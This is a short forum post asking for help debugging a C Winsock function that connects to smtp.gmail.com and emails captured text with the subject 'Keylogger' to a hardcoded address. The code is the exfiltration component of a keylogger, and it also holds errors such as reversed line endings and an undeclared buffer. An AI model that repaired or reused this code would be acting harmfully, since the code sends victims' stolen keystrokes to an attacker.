here is my function:
PHP Code:
void sendMail(char* body) {
WORD sockVersion;
WSADATA wsaData;
sockVersion = MAKEWORD(2, 0);
WSAStartup(sockVersion, &wsaData);
LPHOSTENT hostEntry;
hostEntry = gethostbyname("smtp.gmail.com");
SOCKET smtpSocket;
smtpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
SOCKADDR_IN serverInfo;
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
serverInfo.sin_port = htons(25);
connect(smtpSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));
send(smtpSocket, "helo\n\r", 6, 0);
send(smtpSocket, "mail from:me@mail.com\n\r", strlen("mail from:me@mail.com\n\r"), 0);
send(smtpSocket, "rcpt to:colin3404@gmail.com\n\r", strlen("rcpt to:colin3404@gmail.com\n\r"),0);
send(smtpSocket, "data\n\r", 6, 0);
send(smtpSocket, "subject:Keylogger\n\r", strlen("subject:Keylogger\n\r"), 0);
sprintf(buffer1, "contenido:%s\n\r.\n\r", body);
send(smtpSocket, buffer1, strlen("contenido:\n\r.\n\r")+strlen(body), 0);
send(smtpSocket, "quit\n\r", 6,0 );
closesocket(smtpSocket);
WSACleanup();
}
It uses correct SMTP protocols but it doesnt work..... any ideas?
Thanks!